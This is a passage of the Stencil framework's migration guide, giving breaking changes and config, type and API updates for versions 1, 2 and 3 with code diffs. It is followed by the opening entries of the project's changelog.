Here's an example of what this looks like for the [ionBreakpointDidChange
event](https://github.com/ionic-team/ionic-framework/blob/1f0c8049a339e3a77c468ddba243041d08ead0be/core/src/components/modal/modal.tsx#L289-L292)
on the `Modal` component in Ionic Framework:
```json
{
"complexType": {
"original": "ModalBreakpointChangeEventDetail",
"resolved": "ModalBreakpointChangeEventDetail",
"references": {
"ModalBreakpointChangeEventDetail": {
"location": "import",
"path": "./modal-interface",
"id": "src/components/modal/modal.tsx::ModalBreakpointChangeEventDetail"
}
}
}
}
```
#### `JsonDocsMethod`
The JSON-formatted documentation for a `@Method` now includes a field called
`complexType` which includes more information about the types referenced in
the type declarations for that property.
Here's an example of what this looks like for the [open
method](https://github.com/ionic-team/ionic-framework/blob/1f0c8049a339e3a77c468ddba243041d08ead0be/core/src/components/select/select.tsx#L261-L313)
on the `Select` component in Ionic Framework:
```json
{
"complexType": {
"signature": "(event?: UIEvent) => Promise<any>",
"parameters": [
{
"tags": [
{
"name": "param",
"text": "event The user interface event that called the open."
}
],
"text": "The user interface event that called the open."
}
],
"references": {
"Promise": {
"location": "global",
"id": "global::Promise"
},
"UIEvent": {
"location": "global",
"id": "global::UIEvent"
},
"HTMLElement": {
"location": "global",
"id": "global::HTMLElement"
}
},
"return": "Promise<any>"
}
}
```
## Stencil v3.0.0
* [General](#general)
* [New Configuration Defaults](#new-configuration-defaults)
* [SourceMaps](#sourcemaps)
* [`dist-custom-elements` Type Declarations](#dist-custom-elements-type-declarations)
* [Legacy Browser Support Fields Deprecated](#legacy-browser-support-fields-deprecated)
* [`dynamicImportShim`](#dynamicimportshim)
* [`cssVarsShim`](#cssvarsshim)
* [`shadowDomShim`](#shadowdomshim)
* [`safari10`](#safari10)
* [Deprecated `assetsDir` Removed from `@Component()` decorator](#deprecated-assetsdir-removed-from-component-decorator)
* [Drop Node 12 Support](#drop-node-12-support)
* [Strongly Typed Inputs](#strongly-typed-inputs)
* [Narrowed Typing for `autocapitalize` Attribute](#narrowed-typing-for-autocapitalize-attribute)
* [Custom Types for Props and Events are now Exported from `components.d.ts`](#custom-types-for-props-and-events-are-now-exported-from-componentsdts)
* [Composition Event Handlers Renamed](#composition-event-handlers-renamed)
* [Output Targets](#output-targets)
* [`dist-custom-elements` Output Target](#dist-custom-elements-output-target)
* [Add `customElementsExportBehavior` to Control Export Behavior](#add-customelementsexportbehavior-to-control-export-behavior)
* [Move `autoDefineCustomElements` Configuration](#move-autodefinecustomelements-configuration)
* [Remove `inlineDynamicImports` Configuration](#remove-inlinedynamicimports-configuration)
* [`dist-custom-elements-bundle` Output Target](#dist-custom-elements-bundle-output-target)
* [Legacy Angular Output Target](#legacy-angular-output-target)
* [Stencil APIs](#stencil-apis)
* [Flag Parsing, `parseFlags()`](#flag-parsing-parseflags)
* [Destroy Callback, `addDestroy()`, `removeDestroy()`](#destroy-callback-adddestroy-removedestroy)
* [End-to-End Testing](#end-to-end-testing)
* [Puppeteer v10+ Required](#puppeteer-v10-required)
### General
#### New Configuration Defaults
Starting with Stencil v3.0.0, the default configuration values have changed for a few properties.
##### SourceMaps
Sourcemaps are generated by default for all builds.
Previously, sourcemaps had to be explicitly enabled by setting the `sourceMap` flag to `true`.
To restore the old behavior, set the `sourceMap` flag to `false` in your project's `stencil.config.ts`:
```ts
// stencil.config.ts
import { Config } from '@stencil/core';
export const config: Config = {
sourceMap: false,
// ...
};
```
##### `dist-custom-elements` Type Declarations
Type declaration files (`.d.ts` files) are now generated by default for the `dist-custom-elements` output target.
If your project is using `dist-custom-elements` and you do not wish to generate type declarations, the old behavior can be achieved by setting `generateTypeDeclarations` to `false` in the `dist-custom-elements` output target in your project's `stencil.config.ts`:
```ts
// stencil.config.ts
import { Config } from '@stencil/core';
export const config: Config = {
outputTargets: [
{
type: 'dist-custom-elements',
generateTypeDeclarations: false,
// ...
},
// ...
],
// ...
};
```
#### Legacy Browser Support Fields Deprecated
Several configuration options related to support for Safari <11, IE11, and Edge
<19 have been marked as deprecated, and will be removed entirely in a future
version of Stencil.
##### `dynamicImportShim`
The `extras.dynamicImportShim` option causes Stencil to include a polyfill for
the [dynamic `import()`
function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import)
for use at runtime. The field is renamed to `__deprecated__dynamicImportShim`
to indicate deprecation. To retain the prior behavior the new option can be
set in your project's `stencil.config.ts`:
```ts
// stencil.config.ts
import { Config } from '@stencil/core';
export const config: Config = {
extras: {
__deprecated__dynamicImportShim: true
}
};
```
##### `cssVarsShim`
`extras.cssVarsShim` causes Stencil to include a polyfill for [CSS
variables](https://developer.mozilla.org/en-US/docs/Web/CSS/--*). For Stencil
v3.0.0 this field is renamed to `__deprecated__cssVarsShim`. To retain the
previous behavior the new option can be set in your project's
`stencil.config.ts`:
```ts
// stencil.config.ts
import { Config } from '@stencil/core';
export const config: Config = {
extras: {
__deprecated__cssVarsShim: true
}
};
```
##### `shadowDomShim`
If `extras.shadowDomShim` is set to `true` the Stencil runtime will check
whether a shim for [shadow
DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)
is needed in the current browser, and include one if so. For Stencil v3.0.0
this field is renamed to `__deprecated__shadowDomShim`. To retain the previous
behavior the new option can be set in your project's `stencil.config.ts`:
```ts
// stencil.config.ts
import { Config } from '@stencil/core';
export const config: Config = {
extras: {
__deprecated__shadowDomShim: true
}
};
```
##### `safari10`
If `extras.safari10` is set to `true` the Stencil runtime will patch ES module
support for Safari 10. In Stencil v3.0.0 the field is renamed to
`__deprecated__safari10` to indicate deprecation. To retain the prior behavior
the new option can be set in your project's `stencil.config.ts`:
```ts
// stencil.config.ts
import { Config } from '@stencil/core';
export const config: Config = {
extras: {
__deprecated__safari10: true
}
};
```
#### Deprecated `assetsDir` Removed from `@Component()` decorator
The `assetsDir` field was [deprecated in Stencil v2.0.0](#componentassetsdir), but some backwards compatibility was retained with a warning message.
It has been fully removed in Stencil v3.0.0 in favor of `assetsDirs`.
To migrate from existing usages of `assetsDir`, update the property name and wrap its value in an array:
```diff
@Component({
tag: 'my-component',
- assetsDir: 'assets',
+ assetsDirs: ['assets'],
})
```
For more information on the `assetsDirs` field, please see the [Stencil Documentation on `assetsDirs`](https://stenciljs.com/docs/assets#assetsdirs)
#### Drop Node 12 Support
Stencil no longer supports Node 12.
Please upgrade local development machines, continuous integration pipelines, etc. to use Node v14 or higher.
#### Strongly Typed Inputs
`onInput` and `onInputCapture` events have had their interface's updated to accept an argument of `InputEvent` over `Event`:
```diff
- onInput?: (event: Event) => void;
+ onInput?: (event: InputEvent) => void;
- onInputCapture?: (event: Event) => void;
+ onInputCapture?: (event: InputEvent) => void;
```
`event` arguments to either callback should be updated to take this narrower typing into account
#### Narrowed Typing for `autocapitalize` Attribute
The [`autocaptialize` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autocapitalize) has been narrowed from type `any` to type `string`.
This change brings Stencil into closer alignment with TypeScript's typings for the attribute.
No explicit changes are needed, unless a project was passing non-strings to the attribute.
#### Custom Types for Props and Events are now Exported from `components.d.ts`
Custom types for props and custom events are now re-exported from a project's `components.d.ts` file.
For the following Stencil component
```tsx
import { Component, Event, EventEmitter, Prop, h } from '@stencil/core';
export type NameType = string;
export type Todo = Event;
@Component({
tag: 'my-component',
styleUrl: 'my-component.css',
shadow: true,
})
export class MyComponent {
@Prop() first: NameType;
@Event() todoCompleted: EventEmitter<Todo>
render() {
return <div>Hello, World! I'm {this.first}</div>;
}
}
```
The following data will now be included automatically in `components.d.ts`:
```diff
import { HTMLStencilElement, JSXBase } from "@stencil/core/internal";
import { NameType, Todo } from "./components/my-component/my-component";
+ export { NameType, Todo } from "./components/my-component/my-component";
export namespace Components {
interface MyComponent {
"first": NameType;
}
}
export interface MyComponentCustomEvent<T> extends CustomEvent<T> {
detail: T;
target: HTMLMyComponentElement;
}
declare global {
interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {
}
```
This allows those types to be easily accessed from the root of the type distribution:
```ts
import { NameType, Todo } from '@my-lib/types';
```
When using `dist-custom-elements`, these types can now be accessed from the custom element output:
```ts
import { NameType, Todo } from '@my-custom-elements-output';
```
This _may_ clash with any manually created types in existing Stencil projects.
Projects that manually create type definitions from `components.d.ts` will either need to:
- remove the manually created type (if the types generated in `components.d.ts` suffice)
- update their type creation logic to account for potential naming collisions with the newly generated types
#### Composition Event Handlers Renamed
The names of Stencil's composition event handlers have been changed in order to
correct a casing issue which prevented handlers from being called when events
fired. The changes are as follows:
| previous name | new name |
| ---------------------------- | ---------------------------- |
| `onCompositionEnd` | `onCompositionend` |
| `onCompositionEndCapture` | `onCompositionendCapture` |
| `onCompositionStart` | `onCompositionstart` |
| `onCompositionStartCapture` | `onCompositionstartCapture` |
| `onCompositionUpdate` | `onCompositionupdate` |
| `onCompositionUpdateCapture` | `onCompositionupdateCapture` |
### Output Targets
#### `dist-custom-elements` Output Target
##### Add `customElementsExportBehavior` to Control Export Behavior
`customElementsExportBehavior` is a new configuration option for the output target.
It allows users to configure the export behavior of components that are compiled using the output target.
By default, this output target will behave exactly as it did in Stencil v2.0.0.
For more information on how to configure it, please see the [documentation for the field](https://stenciljs.com/docs/custom-elements#customElementsExportBehavior).
##### Move `autoDefineCustomElements` Configuration
`autoDefineCustomElements` was a configuration option to define a component and its children automatically with the CustomElementRegistry when the component's module is imported.
This behavior has been merged into the [`customElementsExportBehavior` configuration field](#add-customelementsexportbehavior-to-control-export-behavior).
To continue to use this behavior, replace `autoDefineCustomElements` in your project's `stencil.config.ts` with the following:
```diff
// stencil.config.ts
import { Config } from '@stencil/core';
export const config: Config = {
outputTargets: [
{
type: 'dist-custom-elements',
- autoDefineCustomElements: true,
+ customElementsExportBehavior: 'auto-define-custom-elements',
// ...
},
// ...
],
// ...
};
```
#### Remove `inlineDynamicImports` Configuration
The `inlineDynamicImports` configuration option on `dist-custom-elements` has been removed. Previously, this option would throw an error at build
time during the Rollup bundling process if the build contained multiple "inputs" (components).
#### `dist-custom-elements-bundle` Output Target
The `dist-custom-elements-bundle` has been removed starting with Stencil v3.0.0, following the [RFC process](https://github.com/stenciljs/core/issues/3136).
Users of this output target should migrate to the `dist-custom-elements` output target.
By default, `dist-custom-elements` does not automatically define all a project's component's with the `CustomElementsRegistry`.
This allows for better treeshaking and smaller bundle sizes.
For teams that need to migrate quickly to `dist-custom-elements`, the following configuration should be close to a drop-in replacement for `dist-custom-elements-bundle`:
```diff
// stencil.config.ts
import { Config } from '@stencil/core';
export const config: Config = {
outputTargets: [
- {
- type: 'dist-custom-elements-bundle',
- // additional configuration
- },
+ {
+ type: 'dist-custom-elements',
+ customElementsExportBehavior: 'bundle'
+ },
// ...
],
// ...
};
```
However, it does not necessarily improve treeshaking/bundle size.
For more information on configuring this output target, please see the [`dist-custom-elements` documentation](https://stenciljs.com/docs/custom-elements)
### Legacy Angular Output Target
Prior to the creation of the [`@stencil/angular-output-target`](https://github.com/stenciljs/core-ds-output-targets/blob/main/packages/angular-output-target/README.md), the `'angular'` output target was the original means of connecting a Stencil component to an Angular application.
This output target has been removed in favor of `@stencil/angular-output-target`.
Please migrate to `@stencil/angular-output-target` and remove the `'angular'` output target from your `stencil.config.ts` file.
Instructions for doing so can be found [on the Stencil site](https://stenciljs.com/docs/angular#setup)
### Stencil APIs
Stencil exposes Node APIs for programmatically invoking the compiler.
Most users do not use these APIs directly.
Unless your project calls these APIs, no action is required for this section.
#### Flag Parsing, `parseFlags()`
Stencil exposes an API for parsing flags that it receives from the command line.
Previously, it accepted an optional `CompilerSystem` argument that was never properly used.
The flag has been removed as of Stencil v3.0.0.
To migrate, remove the argument from any calls to `parseFlags` imported from the Stencil CLI package.
```diff
import { parseFlags } from '@stencil/core/cli';
- parseFlags(flags, compilerSystem);
+ parseFlags(flags);
```
#### Destroy Callback, `addDestroy()`, `removeDestroy()`
The Stencil `CompilerSystem` interface has a pair of methods, `addDestroy` and `removeDestroy` that were previously misspelled.
If your codebase explicitly calls these methods, they need to be updated.
Replace all instances of `addDestory` with `addDestroy` and all instances of `removeDestory` with `removeDestroy`
The functionality of these methods remains the same.
### End-to-End Testing
#### Puppeteer v10+ Required
Versions of Puppeteer prior to Puppeteer version 10 are no longer supported.
In newer versions of Puppeteer, the library provides its own types, making `@types/puppeteer` no longer necessary.
Ensure that Puppeteer v10 or higher is installed, and that its typings are not:
```bash
$ npm install puppeteer
$ npm uninstall @types/puppeteer
```
To see which versions of Puppeteer are supported by Stencil, please see our [support matrix](https://stenciljs.com/docs/support-policy#puppeteer)
*****
## Stencil Two
In keeping with [Semver](https://semver.org/), Stencil `2.0.0` was released due to changes in the API (mainly from some updates to the config API). But even though this is a new major version, there are few breaking changes.
### BREAKING CHANGES
While migrating from Stencil One, any changes will be flagged and described by the compiler during development. For the most part, most of the changes are removal of deprecated APIs that have been printing out warning logs for quite some time now
#### Opt-in for IE11, Edge 16-18 and Safari 10 Builds
- **config:** update config extra defaults to not build IE11, Edge 16-18 and Safari 10 by default ([363bf59](https://github.com/stenciljs/core/commit/363bf59fc9212a771a766c21909263d6c4ccdf18))
A change in Stencil 2 is that the IE11, Edge 16-18 and Safari 10 builds will not be enabled by default. However, the ability to opt-in is still available, and can be enabled by setting each `extras` config flag to `true`. An advantage of this is less runtime within your builds. See the [config.extras docs](https://stenciljs.com/docs/config-extras) for more info.
#### Opt-in for ES5 and SystemJS Builds
- **config:** do not build es5 by default ([fa67d97](https://github.com/stenciljs/core/commit/fa67d97d043d12e0a3af0d868fa1746eb9e3badf))
Just like having to opt-in for IE11, the same goes for opting-in for ES5 and SystemJS builds. For a production build in Stencil 1, it would build both ES2017/ESM files, and ES5/SystemJS files. As of Stencil 2, both dev and prod builds do not create ES5/SystemJS builds. An advantage of this is having faster production builds by not having to also downlevel to es5. See the [buildEs5](https://stenciljs.com/docs/config#buildes5) for more info.
#### Use `disconnectedCallback()` instead of `componentDidUnload()`
- **componentDidUnload:** use disconnectedCallback instead of componentDidUnload ([4e45862](https://github.com/stenciljs/core/commit/4e45862f73609599a7195fcf5c93d9fb39492154))
When Stencil is used within other frameworks, DOM elements may be reused, making it impossible for `componentDidUnload()` to be accurate 100% of the time if it is disconnected, then re-connected, and disconnected again. Instead, `disconnectedCallback()` is the preferred way to always know if a component was disconnected from the DOM.
_Note that the runtime still works for any collections that have been built with componentDidUnload(). However, updates to Stencil 2 will require it's changed to disconnectedCallback()._
#### Default to `async` task queue
- **taskQueue:** set "async" taskQueue as default ([f3bb121](https://github.com/stenciljs/core/commit/f3bb121b8130e0c4e0c344eca7078ce572ad34a5))
Update taskQueue default to "async". Stencil 1 default was "congestionAsync". See [config.taskQueue](https://stenciljs.com/docs/config#taskqueue) for more info.
#### Restore Stencil 1 defaults
```ts
export const config: Config = {
buildEs5: 'prod',
extras: {
cssVarsShim: true,
dynamicImportShim: true,
safari10: true,
shadowDomShim: true,
},
};
```
#### dist package.json
To ensure the extensions are built for the future and work with today's bundlers, we've found it best to use `.cjs.js` extension for CommonJS files, and `.js` for ESM files, with the idea that cjs files will no longer be needed some day, and the ESM files are the standard. _(We were using `.mjs` files, but not all of today's tooling and bundlers work well with that extension)._
If you're using the `dist` output target, update the `package.json` in the root of your project, like this:
```diff
{
- "main": "dist/index.js",
+ "main": "dist/index.cjs.js",
- "module": "dist/index.mjs",
+ "module": "dist/index.js",
- "es2015": "dist/esm/index.mjs",
+ "es2015": "dist/esm/index.js",
- "es2017": "dist/esm/index.mjs",
+ "es2017": "dist/esm/index.js",
- "jsnext:main": "dist/esm/index.mjs",
+ "jsnext:main": "dist/esm/index.js",
}
```
Additionally the `dist/loader` output directory has renamed its extensions too, but since its `dist/loader/package.json` file is auto-generated, the entries were renamed too. So unless you were referencing the loader files directly you will not have to do external updates.
See the [Output Folder Structure Defaults](https://github.com/stenciljs/core/blob/main/src/compiler/output-targets/readme.md) for more info.
#### NodeJS Update
- **node:** minimum of Node 12.10.0, recommend 14.5.0 or greater ([55331be](https://github.com/stenciljs/core/commit/55331be42f311a6e2a4e4f8ac13c01d28dc31613))
With the major release, now's a good time to update the minimum and recommended version of NodeJS.
- [Node Releases](https://nodejs.org/en/about/releases/)
- [node.green](https://node.green/)
*****
## Stencil One
Most of the updates for the `1.0.0` release involve removing custom APIs, and continuing to leverage web-standards in order to generate future-proof components that scale.
Additionally, these updates allow Stencil to further improve its tooling, with a focus on great developer experience for teams maintaining codebases across large organizations.
### BREAKING CHANGES
A common issue with JSX is each separate project's use of global JSX types. Many of the required changes are in order to avoid global types, which often cause issues for apps which import from numerous packages. The other change is having each component import its renderer, such as JSX's `h()` function.
#### Import `{ h }` is required
In order to render JSX in Stencil apps, the `h()` function must be imported from `@stencil/core`:
```diff
+ import { h } from '@stencil/core';
function app() {
return <ion-app></ion-app>
}
```
The `h` stands for "hyperscript", which is what JSX elements are transformed into (it's the actual function executed when rendering within the runtime). Stencil's `h` import is an equivalent to React's [React.createElement](https://reactjs.org/docs/react-without-jsx.html). This also explains why the app's `tsconfig.json` sets the `{ "jsxFactory": "h" }` config, which is detailed further in [TypeScript's JSX Factory Function Docs](https://www.typescriptlang.org/docs/handbook/jsx.html#factory-functions).
You might think that `h` will be marked as "unused" by linters, but it's not! Any JSX syntax you write, is equivalent to using `h` directly, and the typescript's tooling is aware of that.
```tsx
const jsx = <ion-button>;
```
is the same as:
```tsx
const jsx = h('ion-button', null, null);
```
#### index.html's `<script>`s updated to use `type="module"`
Stencil used to generate a loader `.js` file that automatically decided which entry-point to load based in the browser's capabilities. In Stencil 1.0 we have decided to completely remove the overhead of this loader by directly loading the core using the web-standard `type="module"` script attribute. Less runtime and preferring native browser features. Win Win. For more for info, please see [Using JavaScript modules on the web](https://developers.google.com/web/fundamentals/primers/modules#browser).
```diff
- <script src="/build/app.js"></script>
+ <script type="module" src="/build/app.esm.js"></script>
+ <script nomodule src="/build/app.js"></script>
```
#### Collection's package.json
Stencil One has changed the internal folder structure of the `dist` folder, and some entry-points are located in different location:
- **"module"**: `dist/esm/index.js` => `dist/index.mjs`
- **"jsnext:main**": `dist/esm/es2017/index.js` => `dist/esm/index.mjs`
Make sure you update the `package.json` in the root of your project, like this:
```diff
{
"main": "dist/index.js",
- "module": "dist/esm/index.js",
+ "module": "dist/index.mjs",
- "es2015": "dist/esm/es2017/index.js",
- "es2017": "dist/esm/es2017/index.js",
- "jsnext:main": "dist/esm/es2017/index.js",
+ "es2015": "dist/esm/index.mjs",
+ "es2017": "dist/esm/index.mjs",
+ "jsnext:main": "dist/esm/index.mjs",
}
```
#### Dependencies
Some packages, specially the ones from the Stencil and Ionic core teams used some private APIs of Stencil, that's why if your collection depends of `@ionic/core`, `@stencil/router` or `@stencil/state-tunnel`, you might need to update your `package.json` to point these dependencies to the `"one"` tag.
```
"@ionic/core": "one",
"@stencil/router": "^1.0.0",
"@stencil/state-tunnel": "^1.0.0",
"@stencil/sass": "^1.0.0",
"@stencil/less": "^1.0.0",
"@stencil/stylus": "^1.0.0",
"@stencil/postcss": "^1.0.0",
```
#### `window.NAMESPACE` is no longer a thing
Stencil will not read/write to the browser's global `window` anymore. So things like `window.App` or `window.Ionic` are gone, and should be provided by the user's code if need be.
#### `@Prop() mode` is no longer reserved prop
`@Prop() mode` used to be the way to define and read the current mode of a component. This API was removed since it was very local to the use case of Ionic.
Instead, the `mode` can be read by using the `getMode()` method from `@stencil/core`.
#### Removed: Global `JSX`
For all the same reasons for now importing `h`, in order to prevent type collision in the future, we have moved to local scoped JSX namespaces. Unfortunately, this means `JSX` is no longer global and it needs to be imported from `@stencil/core`. Also, note that while the below example has the render function with a return type of `JSX.Element`, we recommend to not have a return type at all:
```tsx
import { JSX, h } from '@stencil/core';
render(): JSX.Element {
return <ion-button></ion-button>
}
```
- `HTMLAttributes` might not be available as a global
- `JSX`
#### Removed: Global `HTMLAttributes`
`HTMLAttributes` used to be exposed as a global interface, just like the `JSX` namespace, but that caused type conflicts when mixing different versions of stencil in the same project.
Now `HTMLAttributes` is part of `JSXBase`, exposed in `@stencil/core`:
```ts
import { JSXBase } from '@stencil/core';
JSXBase.HTMLAttributes
```
#### Removed: Global `HTMLStencilElement`
The global type for `HTMLStencilElement` has been removed. Instead, it's better is to use the exact type of your component, such as `HTMLIonButtonElement`. The HTML types are automatically generated within the `components.d.ts` file.
#### Removed: Global `StencilIntrinsicElement`
The global type `StencilIntrinsicElement` has been removed. It can be replaced by importing the `JSX` namespace from `@stencil/core`:
```tsx
import { JSX } from '@stencil/core';
export type StencilIntrinsicElement = JSX.IntrinsicElement;
```
#### Removed: @Listen('event.KEY’)
It's no longer possible to use the `event.KEY` syntax in the `@Listen` decorator in order to only listen for specific key strokes.
Instead, the browser already implements easy-to-use APIs:
**BEFORE:**
```ts
@Listen('keydown.enter')
onEnter() {
console.log('enter pressed');
}
```
**AFTER:**
```ts
@Listen('keydown')
onEnter(ev: KeyboardEvent) {
if (ev.key === 'Enter') {
console.log('enter pressed');
}
}
```
#### Removed: @Listen('event’, { enabled })
It's not possible to programmatically enable/disable an event listener defined using the `@Listen()` decorator. Please use the DOM API directly (`addEventListener` / `removeEventListener`).
#### Removed: @Listen('event’, { eventName })
The event name should be provided excl
#### Removed: @Component({ host })
This feature was deprecated a long time ago, and it is being removed definitely from Stencil.
#### `mockDocument()` and `mockWindow()` has been moved
The `mockDocument()` and `mockWindow()` functions previously in `@stencil/core/mock-dom` has been moved to:
`@stencil/core/testing`:
```diff
- import { mockDocument, mockWindow } from '@stencil/core/mock-dom';
+ import { mockDocument, mockWindow } from '@stencil/core/testing';
```
### DEPRECATIONS
#### outputTarget "docs"
The output target "docs" has been renamed to "docs-readme":
In your `stencil.config.ts` file:
```diff
export const config = {
outputTargets: [
{
- type: 'docs',
+ type: 'docs-readme',
}
]
};
```
#### `hostData()`
hostData() usage has been replaced by the new `Host` exposed in `@stencil/core`. The `<Host>` JSX element represents the "host" element of the component, and simplifies being able to add attributes and CSS classes to the host element:
```diff
+ import { Host } from '@stencil/core';
- hostData() {
- return {
- 'class': {
- 'my-class': true,
- 'disabled': this.isDisabled
- },
- attr: this.attrValue
- };
- }
render() {
return (
+ <Host
+ class={{
+ 'my-class': true,
+ 'disabled': this.isDisabled
+ }}
+ attr={this.attrValue}
+ />
);
}
```
#### All void methods return promise (right now method(): void is valid)
Until Stencil 1.0, public component methods decorated with `@Method()` could only return `Promise<...>` or `void`.
Now, only the `async` methods are supported, meaning that retuning `void` is not valid.
```diff
@Method()
- doSomething() {
+ async doSomething() {
console.log('hello');
}
```
This change was motivated by the fact that Stencil's 1.0 runtime will be able to proxy all component method calls!
That means, developers will be able to call component methods safely without using componentOnReady()! even if the actual component has not been downloaded yet.
##### Given an example component like:
```ts
@Component(...)
export class Cmp {
@Method()
async doSomething() {
console.log('called');
}
}
```
**BEFORE:**
```ts
// Calling `componentOnReady()` was required in order to make sure the "component"
// was properly lazy loaded and the methods are available.
await element.componentOnReady()
element.doSomething();
```
**AFTER:**
```ts
// Stencil One will automatically proxy the method call (like an RPC),
// and it's safe to call any method without using `componentOnReady()`.
await element.doSomething();
```
#### `@Listen('TARGET:event’)`
The first argument of the `@Listen()` decorator is now only the event name, such as `click` or `resize`. Previously you could set the target of the listener by prefixing the event name with something like `window:resize`. Instead, the target is now set using the options.
```diff
- @Listen('window:event')
+ @Listen('event’, { target: 'window' })
- @Listen('document:event')
+ @Listen('event’, { target: 'document' })
- @Listen('body:event’)
+ @Listen('event’, { target: 'body’ })
- @Listen('parent:event’)
+ @Listen('event’, { target: 'parent’ })
```
This change was motivated by the fact that `body:event` is a valid DOM event name.
In addition, the new syntax allows for strong typing, since the `{target}` only accepts the following string values (`'window'`, `'document'`, `'body'`, `'parent'`).
#### `@Prop({context})`
Using the `@Prop` decorator with the `context` has been deprecated and their usage is highly unrecommended. Here's how update each case:
##### `'window'`
Accessing `window` using `Prop({context: 'window'})` was previously required because of Server-side-rendering requirements, fortunately this is no longer needed, and developers can use global `window` directly.
- `Prop({context: 'window'})` becomes `window`
```diff
- @Prop({context: 'window'}) win!: Window;
method() {
// print window
- console.log(this.win);
+ console.log(window);
}
```
##### `'document'`
Accessing `document` using `Prop({context: 'document'})` was previously required because of Server-side-rendering requirements, fortunately this is no longer needed, and developers can use global `document` directly.
- `Prop({context: 'document'})` becomes `document`
```diff
- @Prop({context: 'document'}) doc!: Document;
method() {
// print document
- console.log(this.doc);
+ console.log(document);
}
```
##### `'isServer'`
In order to determine if the your component is being rendered in the browser or the server as part of some prerendering/ssr process, stencil exposes a compiler-time constant through the `Build` object, exposed in `@stencil/core`:
- `Prop({context: 'isServer'})` becomes `!Build.isBrowser`
```diff
+ import { Build } from '@stencil/core';
[...]
- @Prop({context: 'isServer'}) isServer!: boolean;
method() {
- if (!this.isServer) {
+ if (Build.isBrowser) {
console.log('only log in the browser');
}
}
```
#### `@Prop(connect)`
It will not be recommended to use `@Prop(connect)` in order to lazily load components. Instead it's recommended to use ES Modules and/or dynamic imports to load code lazily.
#### `@Component.assetsDir`
```diff
@Component({
- assetsDir: 'resource',
+ assetsDirs: ['resource']
})
```
#### OutputTarget local copy tasks
The root `copy` property in `stencil.config.ts` has been deprecated in favor of local copy tasks per output-target, ie. now the copy tasks are specific under the context of each output-target.
```diff
const copy =
export const config = {
outputTargets: [
{
type: 'www',
+ copy: [
+ {
+ src: 'index-module.html',
+ dest: 'index-module.html'
+ }
+ ]
}
],
- copy: [
- {
- src: 'index-module.html',
- dest: 'index-module.html'
- }
- ]
};
```
This change has been motivated by the confusing semantics of the root copy task, currently the copy tasks are executed multiple times within different working-directories for each output-target.
Take this example:
```ts
export const config = {
outputTargets: [
{ type: 'dist' },
{ type: 'dist', dir: 'dist-app' },
{ type: 'www' }
],
copy: [
{ src: 'main.html' }
]
};
```
In the example above, the `main.html` file is actually copied into 5 different places!!
- dist/collection/main.html
- dist/app/main.html
- dist-app/collection/main.html
- dist-app/app/main.html
- www/main.html
If the old behavior is still desired, the config can be refactored to:
```ts
const copy = [
{ src: 'main.html' }
];
export const config = {
outputTargets: [
{ type: 'dist', copy },
{ type: 'dist', dir: 'dist-app', copy },
{ type: 'www', copy }
]
};
```
### New APIs
#### setMode() and getMode()
#### getAssetsPath(this, relativePath)
#### `dist-module` output target
### Testing
#### `newSpecPage()` Spec Testing Utility
A new testing utility has been created to make it easier to unit test components. Its API is similar to `newE2EPage()` for consistency, but internally `newSpecPage()` does not use Puppeteer, but rather runs on top of a pure Node environment. Additionally, user code should not have to be written with legacy CommonJS, and code can safely use global browser variables such as `window` and `document`. In the example below, a mock `CmpA` component was created in the test, but it could have also imported numerous existing components and registered them into the test using the `components` config. The returned `page` variable also has a `root` property, which is convenience property to get the top-level component found in the test.
```tsx
import { Component, Prop } from '@stencil/core';
import { newSpecPage } from '@stencil/core/testing';
it('override default values from attribute', async () => {
@Component({
tag: 'cmp-a'
})
class CmpA {
@Prop() someProp = '';
render() {
return `${this.someProp}`;
}
}
const page = await newSpecPage({
components: [CmpA],
html: `<cmp-a some-prop="value"></cmp-a>`,
});
// "root" is a convenience property which is the
// the top level component found in the test
expect(page.root).toEqualHtml(`
<cmp-a some-prop="value">
value
</cmp-a>
`);
expect(page.root.someProp).toBe('value');
});
```
#### Serialized `<mock:shadow-root>`
Traditionally, when a component is serialized to a string its shadow-root is ignored and not include within the HTML output. However, when building web components and using Shadow DOM, the nodes generated within the components are just as important as any other nodes to be tested. For this reason, both spec and e2e tests will serialize the shadow-root content into a mocked `<mock:shadow-root>` element. Note that this serialized shadow-root is simply for testing and comparing values, and is not used at browser runtime.
```tsx
import { Component } from '@stencil/core';
import { newSpecPage } from '@stencil/core/testing';
it('test shadow root innerHTML', async () => {
@Component({
tag: 'cmp-a',
shadow: true
})
class CmpA {
render() {
return (
<div>Shadow Content</div>
);
}
}
const page = await newSpecPage({
components: [CmpA],
html: `
<cmp-a>
Light Content
</cmp-a>
`,
});
expect(page.root).toEqualHtml(`
<cmp-a>
<mock:shadow-root>
<div>
Shadow Content
</div>
</mock:shadow-root>
Light Content
</cmp-a>
`);
});
```
#### Jest Presets
When running Jest directly, previously most of Jest had to be manually configured within each app's `package.json`, and required the `transform` config to be manually wired up to Stencil's `jest.preprocessor.js`. With the latest changes, most of the Jest config can be replaced with just `"preset": "@stencil/core/testing"`. You can still override the preset defaults, but it's best to start with the defaults first. Also note, the Jest config can be avoided entirely by using the `stencil test --spec` command rather than calling Jest directly.
```diff
"jest": {
+ "preset": "@stencil/core/testing"
- "transform": {
- "^.+\\.(ts|tsx)$": "<rootDir>/node_modules/@stencil/core/testing/jest.preprocessor.js"
- },
- "testRegex": "(/__tests__/.*|\\.(test|spec))\\.(tsx?|jsx?)$",
- "moduleFileExtensions": [
- "ts",
- "tsx",
- "js",
- "json",
- "jsx"
- ]
}
```
================================================
FILE: CHANGELOG.md
================================================
## 🐕 [4.43.3](https://github.com/stenciljs/core/compare/v4.43.2...v4.43.3) (2026-03-19)
### Features
* **testing:** deprecate all integrated testing options ([#6642](https://github.com/stenciljs/core/issues/6642)) ([02f91b3](https://github.com/stenciljs/core/commit/02f91b3b59461d55ea8527b328cd48056cb6130a))
## 🌙 [4.43.2](https://github.com/stenciljs/core/compare/v4.43.1...v4.43.2) (2026-02-27)
### Bug Fixes
* add missing `part` setter to MockElement ([#6612](https://github.com/stenciljs/core/issues/6612)) ([abfdd57](https://github.com/stenciljs/core/commit/abfdd57e04d0422a12ad189f2066090315265e02))
* **compiler:** mixin jsx processing ([#6615](https://github.com/stenciljs/core/issues/6615)) ([ccda746](https://github.com/stenciljs/core/commit/ccda746e50ae90b10ad11b8d56182f59537ff598))
